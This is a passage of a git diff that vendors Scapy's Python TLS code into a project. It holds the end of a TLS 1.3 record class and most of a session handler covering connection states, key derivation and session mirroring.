+ name = "TLS 1.3" + fields_desc = [ByteEnumField("type", 0x17, _tls_type), + _TLSVersionField("version", 0x0303, _tls_version), + _TLSLengthField("len", None), + _TLSInnerPlaintextField("inner", TLSInnerPlaintext()), + _TLSMACField("auth_tag", None)] + + def __init__(self, *args, **kargs): + self.deciphered_len = kargs.get("deciphered_len", None) + super(TLS13, self).__init__(*args, **kargs) + + # Parsing methods + + def _tls_auth_decrypt(self, s): + """ + Provided with the record header and AEAD-ciphered data, return the + sliced and clear tuple (TLSInnerPlaintext, tag). Note that + we still return the slicing of the original input in case of decryption + failure. Also, if the integrity check fails, a warning will be issued, + but we still return the sliced (unauthenticated) plaintext. + """ + rcs = self.tls_session.rcs + read_seq_num = struct.pack("!Q", rcs.seq_num) + rcs.seq_num += 1 + add_data = (pkcs_i2osp(self.type, 1) + + pkcs_i2osp(self.version, 2) + + pkcs_i2osp(len(s), 2)) + try: + return rcs.cipher.auth_decrypt(add_data, s, read_seq_num) + except CipherError as e: + return e.args + except AEADTagError as e: + pkt_info = self.firstlayer().summary() + log_runtime.info("TLS: record integrity check failed [%s]", pkt_info) # noqa: E501 + return e.args + + def pre_dissect(self, s): + """ + Decrypt, verify and decompress the message. + """ + # We commit the pending read state if it has been triggered. + if self.tls_session.triggered_prcs_commit: + if self.tls_session.prcs is not None: + self.tls_session.rcs = self.tls_session.prcs + self.tls_session.prcs = None + self.tls_session.triggered_prcs_commit = False + if len(s) < 5: + raise Exception("Invalid record: header is too short.") + + self.type = orb(s[0]) + if (isinstance(self.tls_session.rcs.cipher, Cipher_NULL) or + self.type == 0x14): + self.deciphered_len = None + return s + else: + msglen = struct.unpack('!H', s[3:5])[0] + hdr, efrag, r = s[:5], s[5:5 + msglen], s[msglen + 5:] + frag, auth_tag = self._tls_auth_decrypt(efrag) + self.deciphered_len = len(frag) + return hdr + frag + auth_tag + r + + def post_dissect(self, s): + """ + Commit the pending read state if it has been triggered. We update + nothing if the prcs was not set, as this probably means that we're + working out-of-context (and we need to keep the default rcs). + """ + if self.tls_session.triggered_prcs_commit: + if self.tls_session.prcs is not None: + self.tls_session.rcs = self.tls_session.prcs + self.tls_session.prcs = None + self.tls_session.triggered_prcs_commit = False + return s + + def do_dissect_payload(self, s): + """ + Try to dissect the following data as a TLS message. + Note that overloading .guess_payload_class() would not be enough, + as the TLS session to be used would get lost. + """ + if s: + try: + p = TLS(s, _internal=1, _underlayer=self, + tls_session=self.tls_session) + except KeyboardInterrupt: + raise + except Exception: + p = conf.raw_layer(s, _internal=1, _underlayer=self) + self.add_payload(p) + + # Building methods + + def _tls_auth_encrypt(self, s): + """ + Return the TLSCiphertext.encrypted_record for AEAD ciphers. + """ + wcs = self.tls_session.wcs + write_seq_num = struct.pack("!Q", wcs.seq_num) + wcs.seq_num += 1 + add_data = (pkcs_i2osp(self.type, 1) + + pkcs_i2osp(self.version, 2) + + pkcs_i2osp(len(s) + wcs.cipher.tag_len, 2)) + + return wcs.cipher.auth_encrypt(s, add_data, write_seq_num) + + def post_build(self, pkt, pay): + """ + Apply the previous methods according to the writing cipher type. + """ + # Compute the length of TLSPlaintext fragment + hdr, frag = pkt[:5], pkt[5:] + if not isinstance(self.tls_session.wcs.cipher, Cipher_NULL): + frag = self._tls_auth_encrypt(frag) + + if self.len is not None: + # The user gave us a 'len', let's respect this ultimately + hdr = hdr[:3] + struct.pack("!H", self.len) + else: + # Update header with the length of TLSCiphertext.inner + hdr = hdr[:3] + struct.pack("!H", len(frag)) + + # Now we commit the pending write state if it has been triggered. We + # update nothing if the pwcs was not set. This probably means that + # we're working out-of-context (and we need to keep the default wcs). + if self.tls_session.triggered_pwcs_commit: + if self.tls_session.pwcs is not None: + self.tls_session.wcs = self.tls_session.pwcs + self.tls_session.pwcs = None + self.tls_session.triggered_pwcs_commit = False + + return hdr + frag + pay diff --git a/libs/scapy/layers/tls/session.py b/libs/scapy/layers/tls/session.py new file mode 100755 index 0000000..1ff71b5 --- /dev/null +++ b/libs/scapy/layers/tls/session.py @@ -0,0 +1,1082 @@ +# This file is part of Scapy +# Copyright (C) 2007, 2008, 2009 Arnaud Ebalard +# 2015, 2016, 2017 Maxence Tury +# 2019 Romain Perez +# This program is published under a GPLv2 license + +""" +TLS session handler. +""" + +import socket +import struct + +from scapy.config import conf +from scapy.compat import raw +import scapy.modules.six as six +from scapy.error import log_runtime, warning +from scapy.packet import Packet +from scapy.pton_ntop import inet_pton +from scapy.sessions import DefaultSession +from scapy.utils import repr_hex, strxor +from scapy.layers.inet import TCP +from scapy.layers.tls.crypto.compression import Comp_NULL +from scapy.layers.tls.crypto.hkdf import TLS13_HKDF +from scapy.layers.tls.crypto.prf import PRF + +# Note the following import may happen inside connState.__init__() +# in order to avoid to avoid cyclical dependencies. +# from scapy.layers.tls.crypto.suites import TLS_NULL_WITH_NULL_NULL + + +############################################################################### +# Connection states # +############################################################################### + +class connState(object): + """ + From RFC 5246, section 6.1: + A TLS connection state is the operating environment of the TLS Record + Protocol. It specifies a compression algorithm, an encryption + algorithm, and a MAC algorithm. In addition, the parameters for + these algorithms are known: the MAC key and the bulk encryption keys + for the connection in both the read and the write directions. + Logically, there are always four connection states outstanding: the + current read and write states, and the pending read and write states. + All records are processed under the current read and write states. + The security parameters for the pending states can be set by the TLS + Handshake Protocol, and the ChangeCipherSpec can selectively make + either of the pending states current, in which case the appropriate + current state is disposed of and replaced with the pending state; the + pending state is then reinitialized to an empty state. It is illegal + to make a state that has not been initialized with security + parameters a current state. The initial current state always + specifies that no encryption, compression, or MAC will be used. + + (For practical reasons, Scapy scraps these two last lines, through the + implementation of dummy ciphers and MAC with TLS_NULL_WITH_NULL_NULL.) + + These attributes and behaviours are mostly mapped in this class. + Also, note that Scapy may make a current state out of a pending state + which has been initialized with dummy security parameters. We need + this in order to know when the content of a TLS message is encrypted, + whether we possess the right keys to decipher/verify it or not. + For instance, when Scapy parses a CKE without knowledge of any secret, + and then a CCS, it needs to know that the following Finished + is encrypted and signed according to a new cipher suite, even though + it cannot decipher the message nor verify its integrity. + """ + + def __init__(self, + connection_end="server", + read_or_write="read", + seq_num=0, + compression_alg=Comp_NULL, + ciphersuite=None, + tls_version=0x0303): + + self.tls_version = tls_version + + # It is the user's responsibility to keep the record seq_num + # under 2**64-1. If this value gets maxed out, the TLS class in + # record.py will crash when trying to encode it with struct.pack(). + self.seq_num = seq_num + + self.connection_end = connection_end + self.row = read_or_write + + if ciphersuite is None: + from scapy.layers.tls.crypto.suites import TLS_NULL_WITH_NULL_NULL + ciphersuite = TLS_NULL_WITH_NULL_NULL + self.ciphersuite = ciphersuite(tls_version=tls_version) + + if not self.ciphersuite.usable: + warning("TLS ciphersuite not usable. Is the cryptography Python module installed ?") # noqa: E501 + return + + self.compression = compression_alg() + self.key_exchange = ciphersuite.kx_alg() + self.cipher = ciphersuite.cipher_alg() + self.hash = ciphersuite.hash_alg() + + if tls_version > 0x0200: + if ciphersuite.cipher_alg.type == "aead": + self.hmac = None + self.mac_len = self.cipher.tag_len + else: + self.hmac = ciphersuite.hmac_alg() + self.mac_len = self.hmac.hmac_len + else: + self.hmac = ciphersuite.hmac_alg() # should be Hmac_NULL + self.mac_len = self.hash.hash_len + + if tls_version >= 0x0304: + self.hkdf = TLS13_HKDF(self.hash.name.lower()) + else: + self.prf = PRF(ciphersuite.hash_alg.name, tls_version) + + def debug_repr(self, name, secret): + if conf.debug_tls and secret: + log_runtime.debug("TLS: %s %s %s: %s", + self.connection_end, + self.row, + name, + repr_hex(secret)) + + def derive_keys(self, + client_random=b"", + server_random=b"", + master_secret=b""): + # XXX Can this be called over a non-usable suite? What happens then? + + cs = self.ciphersuite + + # Derive the keys according to the cipher type and protocol version + key_block = self.prf.derive_key_block(master_secret, + server_random, + client_random, + cs.key_block_len) + + # When slicing the key_block, keep the right half of the material + skip_first = False + if ((self.connection_end == "client" and self.row == "read") or + (self.connection_end == "server" and self.row == "write")): + skip_first = True + + pos = 0 + cipher_alg = cs.cipher_alg + + # MAC secret (for block and stream ciphers) + if (cipher_alg.type == "stream") or (cipher_alg.type == "block"): + start = pos + if skip_first: + start += cs.hmac_alg.key_len + end = start + cs.hmac_alg.key_len + mac_secret = key_block[start:end] + self.debug_repr("mac_secret", mac_secret) + pos += 2 * cs.hmac_alg.key_len + else: + mac_secret = None + + # Cipher secret + start = pos + if skip_first: + start += cipher_alg.key_len + end = start + cipher_alg.key_len + cipher_secret = key_block[start:end] + if cs.kx_alg.export: + reqLen = cipher_alg.expanded_key_len + cipher_secret = self.prf.postprocess_key_for_export(cipher_secret, + client_random, + server_random, + self.connection_end, # noqa: E501 + self.row, + reqLen) + self.debug_repr("cipher_secret", cipher_secret) + pos += 2 * cipher_alg.key_len + + # Implicit IV (for block and AEAD ciphers) + start = pos + if cipher_alg.type == "block": + if skip_first: + start += cipher_alg.block_size + end = start + cipher_alg.block_size + elif cipher_alg.type == "aead": + if skip_first: + start += cipher_alg.fixed_iv_len + end = start + cipher_alg.fixed_iv_len + + # Now we have the secrets, we can instantiate the algorithms + if cs.hmac_alg is None: # AEAD + self.hmac = None + self.mac_len = cipher_alg.tag_len + else: + self.hmac = cs.hmac_alg(mac_secret) + self.mac_len = self.hmac.hmac_len + + if cipher_alg.type == "stream": + cipher = cipher_alg(cipher_secret) + elif cipher_alg.type == "block": + # We set an IV every time, even though it does not matter for + # TLS 1.1+ as it requires an explicit IV. Indeed the cipher.iv + # would get updated in TLS.post_build() or TLS.pre_dissect(). + iv = key_block[start:end] + if cs.kx_alg.export: + reqLen = cipher_alg.block_size + iv = self.prf.generate_iv_for_export(client_random, + server_random, + self.connection_end, + self.row, + reqLen) + cipher = cipher_alg(cipher_secret, iv) + self.debug_repr("block iv", iv) + elif cipher_alg.type == "aead": + fixed_iv = key_block[start:end] + nonce_explicit_init = 0 + # If you ever wanted to set a random nonce_explicit, use this: + # exp_bit_len = cipher_alg.nonce_explicit_len * 8 + # nonce_explicit_init = random.randint(0, 2**exp_bit_len - 1) + cipher = cipher_alg(cipher_secret, fixed_iv, nonce_explicit_init) + self.debug_repr("aead fixed iv", fixed_iv) + self.cipher = cipher + + def sslv2_derive_keys(self, key_material): + """ + There is actually only one key, the CLIENT-READ-KEY or -WRITE-KEY. + + Note that skip_first is opposite from the one with SSLv3 derivation. + + Also, if needed, the IV should be set elsewhere. + """ + skip_first = True + if ((self.connection_end == "client" and self.row == "read") or + (self.connection_end == "server" and self.row == "write")): + skip_first = False + + cipher_alg = self.ciphersuite.cipher_alg + + start = 0 + if skip_first: + start += cipher_alg.key_len + end = start + cipher_alg.key_len + cipher_secret = key_material[start:end] + self.cipher = cipher_alg(cipher_secret) + self.debug_repr("cipher_secret", cipher_secret) + + def tls13_derive_keys(self, key_material): + cipher_alg = self.ciphersuite.cipher_alg + key_len = cipher_alg.key_len + iv_len = cipher_alg.fixed_iv_len + write_key = self.hkdf.expand_label(key_material, b"key", b"", key_len) + write_iv = self.hkdf.expand_label(key_material, b"iv", b"", iv_len) + self.cipher = cipher_alg(write_key, write_iv) + + def snapshot(self): + """ + This is used mostly as a way to keep the cipher state and the seq_num. + """ + snap = connState(connection_end=self.connection_end, + read_or_write=self.row, + seq_num=self.seq_num, + compression_alg=type(self.compression), + ciphersuite=type(self.ciphersuite), + tls_version=self.tls_version) + snap.cipher = self.cipher.snapshot() + if self.hmac: + snap.hmac.key = self.hmac.key + return snap + + def __repr__(self): + res = "Connection end : %s\n" % self.connection_end.upper() + res += "Cipher suite : %s (0x%04x)\n" % (self.ciphersuite.name, + self.ciphersuite.val) + res += "Compression : %s (0x%02x)\n" % (self.compression.name, + self.compression.val) + tabsize = 4 + return res.expandtabs(tabsize) + + +class readConnState(connState): + def __init__(self, **kargs): + connState.__init__(self, read_or_write="read", **kargs) + + +class writeConnState(connState): + def __init__(self, **kargs): + connState.__init__(self, read_or_write="write", **kargs) + + +############################################################################### +# TLS session # +############################################################################### + +class tlsSession(object): + """ + This is our TLS context, which gathers information from both sides of the + TLS connection. These sides are represented by a readConnState instance and + a writeConnState instance. Along with overarching network attributes, a + tlsSession object also holds negotiated, shared information, such as the + key exchange parameters and the master secret (when available). + + The default connection_end is "server". This corresponds to the expected + behaviour for static exchange analysis (with a ClientHello parsed first). + """ + + def __init__(self, + ipsrc=None, ipdst=None, + sport=None, dport=None, sid=None, + connection_end="server", + wcs=None, rcs=None): + + # Use this switch to prevent additions to the 'handshake_messages'. + self.frozen = False + + # Network settings + self.ipsrc = ipsrc + self.ipdst = ipdst + self.sport = sport + self.dport = dport + self.sid = sid + + # Our TCP socket. None until we send (or receive) a packet. + self.sock = None + + # Connection states + self.connection_end = connection_end + + if wcs is None: + # Instantiate wcs with dummy values. + self.wcs = writeConnState(connection_end=connection_end) + self.wcs.derive_keys() + else: + self.wcs = wcs + + if rcs is None: + # Instantiate rcs with dummy values. + self.rcs = readConnState(connection_end=connection_end) + self.rcs.derive_keys() + else: + self.rcs = rcs + + # The pending write/read states are updated by the building/parsing + # of various TLS packets. They get committed to self.wcs/self.rcs + # once Scapy builds/parses a ChangeCipherSpec message, or for certain + # other messages in case of TLS 1.3. + self.pwcs = None + self.triggered_pwcs_commit = False + self.prcs = None + self.triggered_prcs_commit = False + + # Certificates and private keys + + # The server certificate chain, as a list of Cert instances. + # Either we act as server and it has to be provided, or it is expected + # to be sent by the server through a Certificate message. + # The server certificate should be self.server_certs[0]. + self.server_certs = [] + + # The server private key, as a PrivKey instance, when acting as server. + # XXX It would be nice to be able to provide both an RSA and an ECDSA + # key in order for the same Scapy server to support both families of + # cipher suites. See INIT_TLS_SESSION() in automaton_srv.py. + # (For now server_key holds either one of both types for DHE + # authentication, while server_rsa_key is used only for RSAkx.) + self.server_key = None + self.server_rsa_key = None + # self.server_ecdsa_key = None + + # Back in the dreadful EXPORT days, US servers were forbidden to use + # RSA keys longer than 512 bits for RSAkx. When their usual RSA key + # was longer than this, they had to create a new key and send it via + # a ServerRSAParams message. When receiving such a message, + # Scapy stores this key in server_tmp_rsa_key as a PubKey instance. + self.server_tmp_rsa_key = None + + # When client authentication is performed, we need at least a + # client certificate chain. If we act as client, we also have + # to provide the key associated with the first certificate. + self.client_certs = [] + self.client_key = None + + # Ephemeral key exchange parameters + + # These are the group/curve parameters, needed to hold the information + # e.g. from receiving an SKE to sending a CKE. Usually, only one of + # these attributes will be different from None. + self.client_kx_ffdh_params = None + self.client_kx_ecdh_params = None + + # These are PrivateKeys and PublicKeys from the appropriate FFDH/ECDH + # cryptography module, i.e. these are not raw bytes. Usually, only one + # in two will be different from None, e.g. when being a TLS client you + # will need the client_kx_privkey (the serialized public key is not + # actually registered) and you will receive a server_kx_pubkey. + self.client_kx_privkey = None + self.client_kx_pubkey = None + self.server_kx_privkey = None + self.server_kx_pubkey = None + + # When using TLS 1.3, the tls13_client_pubshares will contain every + # potential key share (equate the 'client_kx_pubkey' before) the client + # offered, indexed by the id of the FFDH/ECDH group. These dicts + # effectively replace the four previous attributes. + self.tls13_client_privshares = {} + self.tls13_client_pubshares = {} + self.tls13_server_privshare = {} + self.tls13_server_pubshare = {} + + # Negotiated session parameters + + # The advertised TLS version found in the ClientHello (and + # EncryptedPreMasterSecret if used). If acting as server, it is set to + # the value advertised by the client in its ClientHello. + # The default value corresponds to TLS 1.2 (and TLS 1.3, incidentally). + self.advertised_tls_version = 0x0303 + + # The agreed-upon TLS version found in the ServerHello. + self.tls_version = None + + # These attributes should eventually be known to both sides (SSLv3-TLS 1.2). # noqa: E501 + self.client_random = None + self.server_random = None + self.pre_master_secret = None + self.master_secret = None + + # The agreed-upon signature algorithm (for TLS 1.2-TLS 1.3 only) + self.selected_sig_alg = None + + # A session ticket received by the client. + self.client_session_ticket = None + + # These attributes should only be used with SSLv2 connections. + # We need to keep the KEY-MATERIAL here because it may be reused. + self.sslv2_common_cs = [] + self.sslv2_connection_id = None + self.sslv2_challenge = None + self.sslv2_challenge_clientcert = None + self.sslv2_key_material = None + + # These attributes should only be used with TLS 1.3 connections. + self.tls13_psk_secret = None + self.tls13_early_secret = None + self.tls13_dhe_secret = None + self.tls13_handshake_secret = None + self.tls13_master_secret = None + self.tls13_derived_secrets = {} + self.post_handshake_auth = False + self.tls13_ticket_ciphersuite = None + self.tls13_retry = False + self.middlebox_compatibility = False + + # Handshake messages needed for Finished computation/validation. + # No record layer headers, no HelloRequests, no ChangeCipherSpecs. + self.handshake_messages = [] + self.handshake_messages_parsed = [] + + # All exchanged TLS packets. + # XXX no support for now + # self.exchanged_pkts = [] + + def __setattr__(self, name, val): + if name == "connection_end": + if hasattr(self, "rcs") and self.rcs: + self.rcs.connection_end = val + if hasattr(self, "wcs") and self.wcs: + self.wcs.connection_end = val + if hasattr(self, "prcs") and self.prcs: + self.prcs.connection_end = val + if hasattr(self, "pwcs") and self.pwcs: + self.pwcs.connection_end = val + super(tlsSession, self).__setattr__(name, val) + + # Mirroring + + def mirror(self): + """ + This function takes a tlsSession object and swaps the IP addresses, + ports, connection ends and connection states. The triggered_commit are + also swapped (though it is probably overkill, it is cleaner this way). + + It is useful for static analysis of a series of messages from both the + client and the server. In such a situation, it should be used every + time the message being read comes from a different side than the one + read right before, as the reading state becomes the writing state, and + vice versa. For instance you could do: + + client_hello = open('client_hello.raw').read() + + + m1 = TLS(client_hello) + m2 = TLS(server_hello, tls_session=m1.tls_session.mirror()) + m3 = TLS(server_cert, tls_session=m2.tls_session) + m4 = TLS(client_keyexchange, tls_session=m3.tls_session.mirror()) + """ + + self.ipdst, self.ipsrc = self.ipsrc, self.ipdst + self.dport, self.sport = self.sport, self.dport + + self.rcs, self.wcs = self.wcs, self.rcs + if self.rcs: + self.rcs.row = "read" + if self.wcs: + self.wcs.row = "write" + + self.prcs, self.pwcs = self.pwcs, self.prcs + if self.prcs: + self.prcs.row = "read" + if self.pwcs: + self.pwcs.row = "write" + + self.triggered_prcs_commit, self.triggered_pwcs_commit = \ + self.triggered_pwcs_commit, self.triggered_prcs_commit + + if self.connection_end == "client": + self.connection_end = "server" + elif self.connection_end == "server": + self.connection_end = "client" + + return self + + # Secrets management for SSLv3 to TLS 1.2 + + def compute_master_secret(self): + if self.pre_master_secret is None: + warning("Missing pre_master_secret while computing master_secret!") + if self.client_random is None: + warning("Missing client_random while computing master_secret!") + if self.server_random is None: + warning("Missing server_random while computing master_secret!") + + ms = self.pwcs.prf.compute_master_secret(self.pre_master_secret, + self.client_random, + self.server_random) + self.master_secret = ms + if conf.debug_tls: + log_runtime.debug("TLS: master secret: %s", repr_hex(ms)) + + def compute_ms_and_derive_keys(self): + self.compute_master_secret() + self.prcs.derive_keys(client_random=self.client_random, + server_random=self.server_random, + master_secret=self.master_secret) + self.pwcs.derive_keys(client_random=self.client_random, + server_random=self.server_random, + master_secret=self.master_secret) + + # Secrets management for SSLv2 + + def compute_sslv2_key_material(self): + if self.master_secret is None: + warning("Missing master_secret while computing key_material!") + if self.sslv2_challenge is None: + warning("Missing challenge while computing key_material!") + if self.sslv2_connection_id is None: + warning("Missing connection_id while computing key_material!") + + km = self.pwcs.prf.derive_key_block(self.master_secret, + self.sslv2_challenge, + self.sslv2_connection_id, + 2 * self.pwcs.cipher.key_len) + self.sslv2_key_material = km + if conf.debug_tls: + log_runtime.debug("TLS: master secret: %s", repr_hex(self.master_secret)) # noqa: E501 + log_runtime.debug("TLS: key material: %s", repr_hex(km)) + + def compute_sslv2_km_and_derive_keys(self): + self.compute_sslv2_key_material() + self.prcs.sslv2_derive_keys(key_material=self.sslv2_key_material) + self.pwcs.sslv2_derive_keys(key_material=self.sslv2_key_material) + + # Secrets management for TLS 1.3 + + def compute_tls13_early_secrets(self, external=False): + """ + This function computes the Early Secret, the binder_key, + the client_early_traffic_secret and the + early_exporter_master_secret (See RFC8446, section 7.1). + + The parameter external is used for the computation of the + binder_key: + + - For external PSK provisioned outside out of TLS, the parameter + external must be True. + - For resumption PSK, the parameter external must be False. + + If no argument is specified, the label "res binder" will be + used by default. + + Ciphers key and IV are updated accordingly for 0-RTT data. + self.handshake_messages should be ClientHello only. + """ + + # if no hash algorithm is set, default to SHA-256 + if self.prcs and self.prcs.hkdf: + hkdf = self.prcs.hkdf + elif self.pwcs and self.pwcs.hkdf: + hkdf = self.pwcs.hkdf + else: + hkdf = TLS13_HKDF("sha256") + + if self.tls13_early_secret is None: + self.tls13_early_secret = hkdf.extract(None, + self.tls13_psk_secret) + + if "binder_key" not in self.tls13_derived_secrets: + if external: + bk = hkdf.derive_secret(self.tls13_early_secret, + b"ext binder", + b"") + else: + bk = hkdf.derive_secret(self.tls13_early_secret, + b"res binder", + b"") + + self.tls13_derived_secrets["binder_key"] = bk + + cets = hkdf.derive_secret(self.tls13_early_secret, + b"c e traffic", + b"".join(self.handshake_messages)) + + self.tls13_derived_secrets["client_early_traffic_secret"] = cets + ees = hkdf.derive_secret(self.tls13_early_secret, + b"e exp master", + b"".join(self.handshake_messages)) + self.tls13_derived_secrets["early_exporter_secret"] = ees + + if self.connection_end == "server": + if self.prcs: + self.prcs.tls13_derive_keys(cets) + elif self.connection_end == "client": + if self.pwcs: + self.pwcs.tls13_derive_keys(cets) + + def compute_tls13_handshake_secrets(self): + """ + Ciphers key and IV are updated accordingly for Handshake data. + self.handshake_messages should be ClientHello...ServerHello. + """ + if self.prcs: + hkdf = self.prcs.hkdf + elif self.pwcs: + hkdf = self.pwcs.hkdf + else: + warning("No HKDF. This is abnormal.") + return + + if self.tls13_early_secret is None: + self.tls13_early_secret = hkdf.extract(None, + self.tls13_psk_secret) + + secret = hkdf.derive_secret(self.tls13_early_secret, b"derived", b"") + self.tls13_handshake_secret = hkdf.extract(secret, self.tls13_dhe_secret) # noqa: E501 + + chts = hkdf.derive_secret(self.tls13_handshake_secret, + b"c hs traffic", + b"".join(self.handshake_messages)) + self.tls13_derived_secrets["client_handshake_traffic_secret"] = chts + + shts = hkdf.derive_secret(self.tls13_handshake_secret, + b"s hs traffic", + b"".join(self.handshake_messages)) + self.tls13_derived_secrets["server_handshake_traffic_secret"] = shts + + def compute_tls13_traffic_secrets(self): + """ + Ciphers key and IV are updated accordingly for Application data. + self.handshake_messages should be ClientHello...ServerFinished. + """ + if self.prcs and self.prcs.hkdf: + hkdf = self.prcs.hkdf + elif self.pwcs and self.pwcs.hkdf: + hkdf = self.pwcs.hkdf + else: + warning("No HKDF. This is abnormal.") + return + + tmp = hkdf.derive_secret(self.tls13_handshake_secret, + b"derived", + b"") + self.tls13_master_secret = hkdf.extract(tmp, None) + + cts0 = hkdf.derive_secret(self.tls13_master_secret, + b"c ap traffic", + b"".join(self.handshake_messages)) + self.tls13_derived_secrets["client_traffic_secrets"] = [cts0] + + sts0 = hkdf.derive_secret(self.tls13_master_secret, + b"s ap traffic", + b"".join(self.handshake_messages)) + self.tls13_derived_secrets["server_traffic_secrets"] = [sts0] + + es = hkdf.derive_secret(self.tls13_master_secret, + b"exp master", + b"".join(self.handshake_messages)) + self.tls13_derived_secrets["exporter_secret"] = es + + if self.connection_end == "server": + # self.prcs.tls13_derive_keys(cts0) + self.pwcs.tls13_derive_keys(sts0) + elif self.connection_end == "client": + # self.pwcs.tls13_derive_keys(cts0) + self.prcs.tls13_derive_keys(sts0) + + def compute_tls13_traffic_secrets_end(self): + cts0 = self.tls13_derived_secrets["client_traffic_secrets"][0] + if self.connection_end == "server": + self.prcs.tls13_derive_keys(cts0) + elif self.connection_end == "client": + self.pwcs.tls13_derive_keys(cts0) + + def compute_tls13_verify_data(self, connection_end, read_or_write): + shts = "server_handshake_traffic_secret" + chts = "client_handshake_traffic_secret" + if read_or_write == "read": + hkdf = self.rcs.hkdf + if connection_end == "client": + basekey = self.tls13_derived_secrets[shts] + elif connection_end == "server": + basekey = self.tls13_derived_secrets[chts] + elif read_or_write == "write": + hkdf = self.wcs.hkdf + if connection_end == "client": + basekey = self.tls13_derived_secrets[chts] + elif connection_end == "server": + basekey = self.tls13_derived_secrets[shts] + + if not hkdf or not basekey: + warning("Missing arguments for verify_data computation!") + return None + # XXX this join() works in standard cases, but does it in all of them? + handshake_context = b"".join(self.handshake_messages) + return hkdf.compute_verify_data(basekey, handshake_context) + + def compute_tls13_resumption_secret(self): + """ + self.handshake_messages should be ClientHello...ClientFinished. + """ + if self.connection_end == "server": + hkdf = self.prcs.hkdf + elif self.connection_end == "client": + hkdf = self.pwcs.hkdf + rs = hkdf.derive_secret(self.tls13_master_secret, + b"res master", + b"".join(self.handshake_messages)) + self.tls13_derived_secrets["resumption_secret"] = rs + + def compute_tls13_next_traffic_secrets(self, connection_end, read_or_write): # noqa : E501 + """ + Ciphers key and IV are updated accordingly. + """ + if self.rcs.hkdf: + hkdf = self.rcs.hkdf + hl = hkdf.hash.digest_size + elif self.wcs.hkdf: + hkdf = self.wcs.hkdf + hl = hkdf.hash.digest_size + + if read_or_write == "read": + if connection_end == "client": + cts = self.tls13_derived_secrets["client_traffic_secrets"] + ctsN = cts[-1] + ctsN_1 = hkdf.expand_label(ctsN, b"traffic upd", b"", hl) + cts.append(ctsN_1) + self.prcs.tls13_derive_keys(ctsN_1) + elif connection_end == "server": + sts = self.tls13_derived_secrets["server_traffic_secrets"] + stsN = sts[-1] + stsN_1 = hkdf.expand_label(stsN, b"traffic upd", b"", hl) + sts.append(stsN_1) + + self.prcs.tls13_derive_keys(stsN_1) + + elif read_or_write == "write": + if connection_end == "client": + cts = self.tls13_derived_secrets["client_traffic_secrets"] + ctsN = cts[-1] + ctsN_1 = hkdf.expand_label(ctsN, b"traffic upd", b"", hl) + cts.append(ctsN_1) + self.pwcs.tls13_derive_keys(ctsN_1) + elif connection_end == "server": + sts = self.tls13_derived_secrets["server_traffic_secrets"] + stsN = sts[-1] + stsN_1 = hkdf.expand_label(stsN, b"traffic upd", b"", hl) + sts.append(stsN_1) + + self.pwcs.tls13_derive_keys(stsN_1) + + # Tests for record building/parsing + + def consider_read_padding(self): + # Return True if padding is needed. Used by TLSPadField. + return (self.rcs.cipher.type == "block" and + not (False in six.itervalues(self.rcs.cipher.ready))) + + def consider_write_padding(self): + # Return True if padding is needed. Used by TLSPadField. + return self.wcs.cipher.type == "block" + + def use_explicit_iv(self, version, cipher_type): + # Return True if an explicit IV is needed. Required for TLS 1.1+ + # when either a block or an AEAD cipher is used. + if cipher_type == "stream": + return False + return version >= 0x0302 + + # Python object management + + def hash(self): + s1 = struct.pack("!H", self.sport) + s2 = struct.pack("!H", self.dport) + family = socket.AF_INET + if ':' in self.ipsrc: + family = socket.AF_INET6 + s1 += inet_pton(family, self.ipsrc) + s2 += inet_pton(family, self.ipdst) + return strxor(s1, s2) + + def eq(self, other): + ok = False + if (self.sport == other.sport and self.dport == other.dport and + self.ipsrc == other.ipsrc and self.ipdst == other.ipdst): + ok = True + + if (not ok and + self.dport == other.sport and self.sport == other.dport and + self.ipdst == other.ipsrc and self.ipsrc == other.ipdst): + ok = True + + if ok: + if self.sid and other.sid: + return self.sid == other.sid + return True + + return False + + def __repr__(self): + sid = repr(self.sid) + if len(sid) > 12: + sid = sid[:11] + "..." + return "%s:%s > %s:%s" % (self.ipsrc, str(self.sport), + self.ipdst, str(self.dport)) + +############################################################################### +# Session singleton # +############################################################################### + + +class _GenericTLSSessionInheritance(Packet): + """ + Many classes inside the TLS module need to get access to session-related + information. For instance, an encrypted TLS record cannot be parsed without + some knowledge of the cipher suite being used and the secrets which have + been negotiated. Passing information is also essential to the handshake. + To this end, various TLS objects inherit from the present class. + """ + __slots__ = ["tls_session", "rcs_snap_init", "wcs_snap_init"] + name = "Dummy Generic TLS Packet" + fields_desc = [] + + def __init__(self, _pkt="", post_transform=None, _internal=0, + _underlayer=None, tls_session=None, **fields): + try: + setme = self.tls_session is None + except Exception: + setme = True + + newses = False + if setme: + if tls_session is None: + newses = True + self.tls_session = tlsSession() + else: + self.tls_session = tls_session + + self.rcs_snap_init = self.tls_session.rcs.snapshot() + self.wcs_snap_init = self.tls_session.wcs.snapshot() + + if isinstance(_underlayer, TCP): + tcp = _underlayer + self.tls_session.sport = tcp.sport + self.tls_session.dport = tcp.dport + try: + self.tls_session.ipsrc = tcp.underlayer.src + self.tls_session.ipdst = tcp.underlayer.dst + except AttributeError: + pass + if conf.tls_session_enable: + if newses: + s = conf.tls_sessions.find(self.tls_session) + if s: + if s.dport == self.tls_session.dport: + self.tls_session = s + else: + self.tls_session = s.mirror() + else: + conf.tls_sessions.add(self.tls_session) + if self.tls_session.connection_end == "server": + srk = conf.tls_sessions.server_rsa_key + if not self.tls_session.server_rsa_key and \ + srk: + self.tls_session.server_rsa_key = srk + + Packet.__init__(self, _pkt=_pkt, post_transform=post_transform, + _internal=_internal, _underlayer=_underlayer, + **fields) + + def __getattr__(self, attr): + """ + The tls_session should be found only through the normal mechanism. + """ + if attr == "tls_session": + return None + return super(_GenericTLSSessionInheritance, self).__getattr__(attr) + + def tls_session_update(self, msg_str): + """ + post_{build, dissection}_tls_session_update() are used to update the + tlsSession context. The default definitions below, along with + tls_session_update(), may prevent code duplication in some cases. + """ + pass + + def post_build_tls_session_update(self, msg_str): + self.tls_session_update(msg_str) + + def post_dissection_tls_session_update(self, msg_str): + self.tls_session_update(msg_str) + + def copy(self): + pkt = Packet.copy(self) + pkt.tls_session = self.tls_session + return pkt + + def clone_with(self, payload=None, **kargs): + pkt = Packet.clone_with(self, payload=payload, **kargs) + pkt.tls_session = self.tls_session + return pkt + + def raw_stateful(self): + return super(_GenericTLSSessionInheritance, self).__bytes__() + + def str_stateful(self): + return self.raw_stateful() + + def __bytes__(self): + """ + The __bytes__ call has to leave the connection states unchanged. + We also have to delete raw_packet_cache in order to access post_build. + + For performance, the pending connStates are not snapshotted. + This should not be an issue, but maybe pay attention to this. + + The previous_freeze_state prevents issues with 